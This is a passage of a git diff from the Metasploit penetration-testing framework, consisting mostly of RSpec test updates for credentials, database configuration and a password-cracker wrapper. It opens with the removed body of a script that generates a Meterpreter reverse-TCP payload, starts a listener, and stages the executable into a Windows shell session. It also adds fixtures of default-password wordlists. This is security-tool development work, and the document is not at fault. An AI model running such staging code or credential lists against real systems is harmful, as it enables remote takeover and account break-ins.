'windows/meterpreter/reverse_tcp' -payload = framework.payloads.create(payload_name) -options = "LHOST=#{lhost} LPORT=#{lport}" -buf = payload.generate_simple('OptionStr' => options) - -# -# Spawn the handler if needed -# -aborted = false -begin - - mh = nil - if (use_handler) - mh = framework.modules.create("exploit/multi/handler") - mh.datastore['LPORT'] = lport - mh.datastore['LHOST'] = lhost - mh.datastore['PAYLOAD'] = payload_name - mh.datastore['ExitOnSession'] = false - mh.datastore['EXITFUNC'] = 'process' - mh.exploit_simple( - 'LocalInput' => session.user_input, - 'LocalOutput' => session.user_output, - 'Payload' => payload_name, - 'RunAsJob' => true) - # It takes a little time for the resources to get set up, so sleep for - # a bit to make sure the exploit is fully working. Without this, - # mod.get_resource doesn't exist when we need it. - select(nil, nil, nil, 0.5) - if framework.jobs[mh.job_id.to_s].nil? - raise RuntimeError, "Failed to start multi/handler - is it already running?" - end - end - - - # - # Make the payload into an exe for the CmdStager - # - lplat = [Msf::Platform::Windows] - larch = [ARCH_X86] - linemax = 1700 - if (session.exploit_datastore['LineMax']) - linemax = session.exploit_datastore['LineMax'].to_i - end - opts = { - :linemax => linemax, - :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"), - #:nodelete => true # keep temp files (for debugging) - } - exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf) - - - # - # Generate the stager command array - # - cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) - cmds = cmdstager.generate(opts) - if (cmds.nil? or cmds.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError - end - - # - # Calculate the total size - # - total_bytes = 0 - cmds.each { |cmd| total_bytes += cmd.length } - - - # - # Run the commands one at a time - # - sent = 0 - cmds.each { |cmd| - ret = session.shell_command_token_win32(cmd) - if (not ret) - aborted = true - else - ret.strip! - if (not ret.empty?) - aborted = true - end - end - if aborted - print_error("Error: Unable to execute the following command:") - print_error(cmd.inspect) - print_error('Output: ' + ret.inspect) if ret and not ret.empty? - break - end - - sent += cmd.length - - progress(total_bytes, sent) - } -rescue ::Interrupt - # TODO: cleanup partial uploads! - aborted = true -rescue => e - print_error("Error: #{e}") - aborted = true -end - -# -# Stop the job -# -if (use_handler) - Thread.new do - if not aborted - # Wait up to 10 seconds for the session to come in.. - select(nil, nil, nil, 10) - end - framework.jobs.stop_job(mh.job_id) - end -end diff --git a/spec/factories/mdm/exported_web_vulns.rb b/spec/factories/mdm/exported_web_vulns.rb index 06ea041459..0e97fa6b6e 100644 --- a/spec/factories/mdm/exported_web_vulns.rb +++ b/spec/factories/mdm/exported_web_vulns.rb @@ -11,4 +11,4 @@ FactoryGirl.define do sequence :mdm_web_vuln_description do |n| "Mdm::WebVuln#description #{n}" end -end \ No newline at end of file +end diff --git a/spec/factories/mdm/module_details.rb b/spec/factories/mdm/module_details.rb index 4981482cca..c67f200128 100644 --- a/spec/factories/mdm/module_details.rb +++ b/spec/factories/mdm/module_details.rb @@ -6,4 +6,4 @@ FactoryGirl.modify do } end end -end \ No newline at end of file +end diff --git a/spec/file_fixtures/fake_common_roots.txt b/spec/file_fixtures/fake_common_roots.txt new file mode 100644 index 0000000000..9316db735d --- /dev/null +++ b/spec/file_fixtures/fake_common_roots.txt @@ -0,0 +1,3 @@ +password +root +toor \ No newline at end of file diff --git a/spec/file_fixtures/fake_default_wordlist.txt b/spec/file_fixtures/fake_default_wordlist.txt new file mode 100644 index 0000000000..0e27467f4b --- /dev/null +++ b/spec/file_fixtures/fake_default_wordlist.txt @@ -0,0 +1,3 @@ +changeme +summer123 +admin \ No newline at end of file diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 45798cd30f..a782633786 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -1,19 +1,16 @@ # -*- coding:binary -*- require 'spec_helper' -# helps with environment configuration to use for connection to database -require 'metasploit/framework' - -# load Mdm::Host for testing -MetasploitDataModels.require_models - describe ActiveRecord::ConnectionAdapters::ConnectionPool do + self.use_transactional_fixtures = false + def database_configurations YAML.load_file(database_configurations_pathname) end def database_configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') + # paths are always Array, but there should only be on 'config/database' entry + Rails.application.config.paths['config/database'].first end subject(:connection_pool) do @@ -24,7 +21,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do # used, so have to manually establish connection. before(:each) do ActiveRecord::Base.configurations = database_configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] + spec = ActiveRecord::Base.configurations[Rails.env] ActiveRecord::Base.establish_connection(spec) end @@ -47,14 +44,14 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do end context 'in thread with connection' do - it { should be_true } + it { should be_truthy } end context 'in thread without connection' do it 'should be false' do thread = Thread.new do Thread.current.should_not == main_thread - expect(active_connection?).to be_false + expect(active_connection?).to be_falsey end thread.join @@ -100,7 +97,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should return true from #active_connection?' do - expect(connection_pool.active_connection?).to be_true + expect(connection_pool.active_connection?).to be_truthy end context 'with error' do @@ -132,7 +129,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do context 'without active thread connection' do it 'should return false from #active_connection?' do - expect(connection_pool.active_connection?).to be_false + expect(connection_pool.active_connection?).to be_falsey end context 'with error' do diff --git a/spec/lib/fastlib_spec.rb b/spec/lib/fastlib_spec.rb deleted file mode 100644 index f8efb0fbb3..0000000000 --- a/spec/lib/fastlib_spec.rb +++ /dev/null @@ -1,232 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'msf/core' - -describe FastLib do - let(:archived_paths) do - [ - File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'), - File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - ] - end - - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end - - let(:extension) do - '.fastlib' - end - - let(:flag_compress) do - 0x01 - end - - let(:flag_encrypt) do - 0x02 - end - - let(:unarchived_paths) do - archived_paths.collect { |archived_path| - File.join(base_path, archived_path) - } - end - - context 'CONSTANTS' do - context 'flags' do - it 'should have compression' do - described_class::FLAG_COMPRESS.should == flag_compress - end - - it 'should have encryption' do - described_class::FLAG_ENCRYPT.should == flag_encrypt - end - end - end - - context 'class methods' do - context 'dump' do - let(:flag_string) do - flags.to_s(16) - end - - before(:each) do - FastLib.cache.clear - end - - around(:each) do |example| - Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") - - example.run - end - end - - context 'without compression and without encryption' do - let(:flags) do - 0x0 - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - - context 'cache' do - it 'should populate' do - FastLib.cache[@destination_path].should be_nil - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - FastLib.cache[@destination_path].should be_a Hash - end - - it 'should include flags' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - FastLib.cache[@destination_path][:fastlib_flags].should == flags - end - - pending "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should include header' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - header = FastLib.cache[@destination_path][:fastlib_header] - modification_time = File.mtime(@destination_path).utc.to_i - - header.should be_a Array - # @todo figure out why 12 before header length - header[0].should == 12 - # @todo figure out why header length is 0 - header[1].should == 0 - header[2].should == modification_time - end - - it 'should include archived paths' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - cache = FastLib.cache[@destination_path] - - archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - unarchived_path = File.join(base_path, archived_path) - - # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be - # in the archive. - File.exist?(unarchived_path).should be_true - cache[archived_path].should_not be_nil - end - end - end - end - - context 'with compression and without encryption' do - let(:flags) do - flag_compress - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - - it 'should be smaller than the uncompressed archive' do - uncompressed_path = "#{@destination_path}.uncompressed" - compressed_path = "#{@destination_path}.compressed" - - File.exist?(uncompressed_path).should be_false - File.exist?(compressed_path).should be_false - - described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) - described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) - - File.exist?(uncompressed_path).should be_true - File.exist?(compressed_path).should be_true - - File.size(compressed_path).should < File.size(uncompressed_path) - end - end - - context 'without compression and with encryption' do - let(:flags) do - flag_encrypt - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - end - - context 'with compression and with encryption' do - let(:flags) do - flag_compress | flag_encrypt - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - end - end - - context 'list' do - around(:each) do |example| - Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") - - FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths) - - example.run - end - end - - # ensure modules expected to be listed actually exist - it 'should use existent unarchived modules' do - unarchived_paths.each do |unarchived_path| - File.exist?(unarchived_path).should be_true - end - end - - context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should have dump cached' do - FastLib.cache[@destination_path].should_not be_nil - end - - it 'should list archived paths' do - paths = FastLib.list(@destination_path) - - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end - - context 'without cached dump' do - before(:each) do - FastLib.cache.clear - end - - it 'should not have dump cache' do - FastLib.cache[@destination_path].should be_nil - end - - it 'should list archived paths' do - paths = FastLib.list(@destination_path) - - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end - end - end -end diff --git a/spec/lib/metasploit/framework/afp/client_spec.rb b/spec/lib/metasploit/framework/afp/client_spec.rb new file mode 100644 index 0000000000..8b13789179 --- /dev/null +++ b/spec/lib/metasploit/framework/afp/client_spec.rb @@ -0,0 +1 @@ + diff --git a/spec/lib/metasploit/framework/credential_collection_spec.rb b/spec/lib/metasploit/framework/credential_collection_spec.rb new file mode 100644 index 0000000000..cfe583036b --- /dev/null +++ b/spec/lib/metasploit/framework/credential_collection_spec.rb @@ -0,0 +1,148 @@ +require 'spec_helper' +require 'metasploit/framework/credential_collection' + +describe Metasploit::Framework::CredentialCollection do + + subject(:collection) do + described_class.new( + blank_passwords: blank_passwords, + pass_file: pass_file, + password: password, + user_as_pass: user_as_pass, + user_file: user_file, + username: username, + userpass_file: userpass_file, + ) + end + + let(:blank_passwords) { nil } + let(:username) { "user" } + let(:password) { "pass" } + let(:user_file) { nil } + let(:pass_file) { nil } + let(:user_as_pass) { nil } + let(:userpass_file) { nil } + + describe "#each" do + specify do + expect { |b| collection.each(&b) }.to yield_with_args(Metasploit::Framework::Credential) + end + + context "when given a user_file and password" do + let(:username) { nil } + let(:user_file) do + filename = "foo" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_yield stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: "asdf", private: password), + Metasploit::Framework::Credential.new(public: "jkl", private: password), + ) + end + end + + context "when given a pass_file and username" do + let(:password) { nil } + let(:pass_file) do + filename = "foo" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_return stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: "asdf"), + Metasploit::Framework::Credential.new(public: username, private: "jkl"), + ) + end + end + + + context "when given a userspass_file" do + let(:username) { nil } + let(:password) { nil } + let(:userpass_file) do + filename = "foo" + stub_file = StringIO.new("asdf jkl\nfoo bar\n") + File.stub(:open).with(filename,/^r/).and_yield stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: "asdf", private: "jkl"), + Metasploit::Framework::Credential.new(public: "foo", private: "bar"), + ) + end + end + + context "when given a pass_file and user_file" do + let(:password) { nil } + let(:username) { nil } + let(:user_file) do + filename = "user_file" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_yield stub_file + + filename + end + let(:pass_file) do + filename = "pass_file" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_return stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: "asdf", private: "asdf"), + Metasploit::Framework::Credential.new(public: "asdf", private: "jkl"), + Metasploit::Framework::Credential.new(public: "jkl", private: "asdf"), + Metasploit::Framework::Credential.new(public: "jkl", private: "jkl"), + ) + end + end + + context "when :user_as_pass is true" do + let(:user_as_pass) { true } + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: password), + Metasploit::Framework::Credential.new(public: username, private: username), + ) + end + end + + context "when :blank_passwords is true" do + let(:blank_passwords) { true } + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: password), + Metasploit::Framework::Credential.new(public: username, private: ""), + ) + end + end + + end + + describe "#prepend_cred" do + specify do + prep = Metasploit::Framework::Credential.new(public: "foo", private: "bar") + collection.prepend_cred(prep) + expect { |b| collection.each(&b) }.to yield_successive_args( + prep, + Metasploit::Framework::Credential.new(public: username, private: password), + ) + end + end + +end diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb new file mode 100644 index 0000000000..b834d21251 --- /dev/null +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -0,0 +1,161 @@ +require 'spec_helper' +require 'metasploit/framework/credential' + +describe Metasploit::Framework::Credential do + + subject(:cred_detail) { + described_class.new + } + + let(:public) { "public" } + let(:private) { "private" } + let(:realm) { "realm" } + let(:realm_type) { Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN } + let(:private_type) { :password } + + it { should respond_to :paired } + it { should respond_to :private } + it { should respond_to :private_type } + it { should respond_to :public } + it { should respond_to :realm } + it { should respond_to :realm_key } + + describe "#paired" do + it "defaults to true" do + expect(cred_detail.paired).to be_truthy + end + end + + context 'validations' do + + it 'is not valid without paired being set' do + expect(cred_detail).to_not be_valid + end + + context 'when not paired' do + before(:each) do + cred_detail.paired = false + end + + it 'is invalid without at least a public or a private' do + expect(cred_detail).to_not be_valid + end + + it 'is valid with just a public' do + cred_detail.public = 'root' + expect(cred_detail).to be_valid + end + + it 'is valid with just a private' do + cred_detail.private = 'toor' + expect(cred_detail).to be_valid + end + end + + context 'when paired' do + before(:each) do + cred_detail.paired = true + end + + it 'is invalid with only a public' do + cred_detail.public = 'root' + expect(cred_detail).to_not be_valid + end + + it 'is invalid with only a private' do + cred_detail.private = 'toor' + expect(cred_detail).to_not be_valid + end + + it 'is invalid with empty string for public' do + cred_detail.public = '' + cred_detail.private = 'toor' + expect(cred_detail).to_not be_valid + end + + it 'is valid with empty string for private' do + cred_detail.public = 'root' + cred_detail.private = '' + expect(cred_detail).to be_valid + end + end + + end + + describe "#to_credential" do + subject(:cred_detail) do + described_class.new(public: public, private: private, realm: realm) + end + it { should respond_to :to_credential } + it "should return self" do + cred_detail.to_credential.should eq(cred_detail) + end + end + + describe "#==" do + let(:public) { "public" } + let(:private) { "private" } + let(:realm) { "realm" } + subject(:cred_detail) do + described_class.new(public: public, private: private, realm: realm) + end + + context "when all attributes match" do + let(:other) do + described_class.new(public: public, private: private, realm: realm) + end + specify do + expect(other).to eq(cred_detail) + end + end + + context "when realm does not match" do + let(:other) do + described_class.new(public: public, private: private, realm: "") + end + specify do + expect(other).not_to eq(cred_detail) + end + end + + context "when private does not match" do + let(:other) do + described_class.new(public: public, private: "", realm: realm) + end + specify do + expect(other).not_to eq(cred_detail) + end + end + + context "when public does not match" do + let(:other) do + described_class.new(public: "", private: private, realm: realm) + end + specify do + expect(other).not_to eq(cred_detail) + end + end + context "when comparing to a different object" do + let(:other) {'a string'} + specify do + expect(other).not_to eq(cred_detail) + end + end + end + + describe '#to_h' do + subject(:cred_detail) do + described_class.new(public: public, private: private, realm: realm, realm_key: realm_type, private_type: private_type) + end + it 'returns a hash in the format expect for create_credential' do + cred_hash = { + private_data: private, + private_type: private_type, + username: public, + realm_key: realm_type, + realm_value: realm + } + expect(cred_detail.to_h).to eq cred_hash + end + end +end diff --git a/spec/lib/metasploit/framework/database_spec.rb b/spec/lib/metasploit/framework/database_spec.rb new file mode 100644 index 0000000000..d8c4663ebe --- /dev/null +++ b/spec/lib/metasploit/framework/database_spec.rb @@ -0,0 +1,670 @@ +require 'spec_helper' + +RSpec.describe Metasploit::Framework::Database do + context 'CONSTANTS' do + context 'CONFIGURATIONS_PATHNAME_PRECEDENCE' do + subject(:configurations_pathname_precedence) { + described_class::CONFIGURATIONS_PATHNAME_PRECEDENCE + } + + it { is_expected.to match_array( + [ + :environment_configurations_pathname, + :user_configurations_pathname, + :project_configurations_pathname + ] + ) } + end + end + + context '.configurations_pathname' do + subject(:configurations_pathname) { + described_class.configurations_pathname(*arguments) + } + + context 'with options' do + let(:arguments) { + [ + { + path: path + } + ] + } + + context 'with :path' do + context 'that exists' do + let(:path) { + tempfile.path + } + + let(:tempfile) { + Tempfile.new(['database', '.yml']) + } + + it 'returns Pathname(path)' do + expect(configurations_pathname).to eq(Pathname.new(path)) + end + end + + context 'that does not exist' do + let(:path) { + '/a/configurations/path/that/does/not/exist/database.yml' + } + + + it { is_expected.to be_nil } + end + end + + context 'without :path' do + let(:path) { + '' + } + + it 'calls configurations_pathnames' do + expect(described_class).to receive(:configurations_pathnames).and_call_original + + configurations_pathname + end + + it 'returns first pathname from configurations_pathnames' do + expect(configurations_pathname).to eq(described_class.configurations_pathnames.first) + end + end + end + + context 'without options' do + let(:arguments) { + [] + } + + it 'calls configurations_pathnames' do + expect(described_class).to receive(:configurations_pathnames).and_call_original + + configurations_pathname + end + + it 'returns first pathname from configurations_pathnames' do + expect(configurations_pathname).to eq(described_class.configurations_pathnames.first) + end + end + end + + context '.configurations_pathnames' do + subject(:configurations_pathnames) { + described_class.configurations_pathnames + } + + before(:each) do + allow(described_class).to receive(:environment_configurations_pathname).and_return( + environment_configurations_pathname + ) + end + + context 'with environment_configurations_pathname' do + context 'that exists' do + # + # lets + # + + let(:environment_configurations_pathname) { + Pathname.new(environment_configurations_tempfile.path) + } + + let(:environment_configurations_tempfile) { + Tempfile.new(['environment_configurations', '.database.yml']) + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:user_configurations_pathname).and_return( + user_configurations_pathname + ) + end + + context 'with user_configurations_pathname' do + context 'that exists' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new(user_configurations_tempfile.path) + } + + let(:user_configurations_tempfile) { + Tempfile.new(['user_configurations', '.database.yml']) + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [environment_configurations_pathname, user_configurations_pathname, project_configurations_pathname]' do + expect(project_configurations_pathname).to exist + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + user_configurations_pathname, + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/does/not/exist/here/config/database.yml') + } + + it 'is [environment_configurations_pathname, user_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).not_to exist + + expect(project_configurations_pathname).not_to exist + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + user_configurations_pathname + ] + ) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is [environment_configuration_pathname, user_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + user_configurations_pathname + ] + ) + end + end + end + + context 'with does not exist' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml') + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [environment_configurations_pathname, project_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is [environment_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname + ] + ) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is [environment_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to be_nil + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname + ] + ) + end + end + end + end + + context 'without user_configurations_pathname' do + # + # lets + # + + let(:user_configurations_pathname) { + nil + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'contains only the environment_configuration_pathname' do + expect(configurations_pathnames).to match_array([environment_configurations_pathname]) + end + end + end + end + + context 'that does not exist' do + + end + end + + context 'without environment_configurations_pathname' do + # + # lets + # + + let(:environment_configurations_pathname) { + nil + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:user_configurations_pathname).and_return( + user_configurations_pathname + ) + end + + context 'with user_configurations_pathname' do + context 'that exists' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new(user_configurations_tempfile.path) + } + + let(:user_configurations_tempfile) { + Tempfile.new(['user_configurations', '.database.yml']) + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [user_configurations_pathname, project_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + user_configurations_pathname, + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is [user_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to match_array( + [ + user_configurations_pathname + ] + ) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is [user_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).to be_nil + + expect(configurations_pathnames).to match_array( + [ + user_configurations_pathname + ] + ) + end + end + end + + context 'that does not exist' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml') + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [project_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is []' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to eq([]) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is []' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to be_nil + + expect(configurations_pathnames).to eq([]) + end + end + end + end + + context 'without user_configurations_pathname' do + # + # lets + # + + let(:user_configurations_pathname) { + nil + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [project_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to be_nil + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is []' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to be_nil + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to eq([]) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it { is_expected.to eq([]) } + end + end + end + end + + context '.environment_configurations_pathname' do + subject(:environment_configurations_pathname) { + described_class.environment_configurations_pathname + } + + around(:each) do |example| + env_before = ENV.to_hash + + begin + example.run + ensure + ENV.update(env_before) + end + end + + context 'with MSF_DATABASE_CONFIG' do + before(:each) do + ENV['MSF_DATABASE_CONFIG'] = msf_database_config + end + + context 'with blank' do + let(:msf_database_config) { + '' + } + + it { is_expected.to be_nil } + end + + context 'without blank' do + let(:msf_database_config) { + 'msf/database/config/database.yml' + } + + it 'is Pathname of MSF_DATABASE_CONFIG' do + expect(environment_configurations_pathname).to eq(Pathname.new(msf_database_config)) + end + end + end + + context 'without MSF_DATABASE_CONFIG' do + it { is_expected.to be_nil } + end + end + + context '.project_configurations_pathname' do + subject(:project_configurations_pathname) { + described_class.project_configurations_pathname + } + + it 'is /config/database.yml' do + root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent.parent + expect(project_configurations_pathname).to eq(root.join('config', 'database.yml')) + end + end + + context '.user_configurations_pathname' do + subject(:user_configurations_pathname) { + described_class.user_configurations_pathname + } + + # + # lets + # + + let(:config_root) { + Dir.mktmpdir + } + + # + # Callbacks + # + + around(:each) do |example| + begin + example.run + ensure + FileUtils.remove_entry_secure config_root + end + end + + before(:each) do + expect(Msf::Config).to receive(:get_config_root).and_return(config_root) + end + + it 'is database.yml under the user config root' do + expect(user_configurations_pathname).to eq(Pathname.new(config_root).join('database.yml')) + end + end +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/jtr/cracker_spec.rb b/spec/lib/metasploit/framework/jtr/cracker_spec.rb new file mode 100644 index 0000000000..13d16c8c63 --- /dev/null +++ b/spec/lib/metasploit/framework/jtr/cracker_spec.rb @@ -0,0 +1,248 @@ +require 'spec_helper' +require 'metasploit/framework/jtr/cracker' + +describe Metasploit::Framework::JtR::Cracker do + + subject(:cracker) { described_class.new } + let(:john_path) { '/path/to/john' } + let(:other_john_path) { '/path/to/other/john' } + let(:session_id) { 'Session1' } + let(:config) { '/path/to/config.conf' } + let(:pot) { '/path/to/john.pot' } + let(:other_pot) { '/path/to/other/pot' } + let(:wordlist) { '/path/to/wordlist' } + let(:hash_path) { '/path/to/hashes' } + let(:nt_format) { 'nt' } + let(:incremental) { 'Digits5' } + let(:rules) { 'Rule34'} + let(:max_runtime) { 5000 } + + describe '#binary_path' do + + + context 'when the user supplied a john_path' do + before(:each) do + cracker.john_path = john_path + end + + it 'returns the manual path if it exists and is a regular file' do + expect(::File).to receive(:file?).with(john_path).once.and_return true + expect(cracker.binary_path).to eq john_path + end + + it 'rejects the manual path if it does not exist or is not a regular file' do + expect(::File).to receive(:file?).with(john_path).once.and_return false + expect(Rex::FileUtils).to receive(:find_full_path).with('john').and_return other_john_path + expect(::File).to receive(:file?).with(other_john_path).once.and_return true + expect(cracker.binary_path).to_not eq john_path + end + end + + context 'when the user did not supply a path' do + it 'returns the john binary from the PATH if it exists' do + expect(Rex::FileUtils).to receive(:find_full_path).and_return john_path + expect(::File).to receive(:file?).with(john_path).once.and_return true + expect(cracker.binary_path).to eq john_path + end + + it 'returns the shipped john binary if 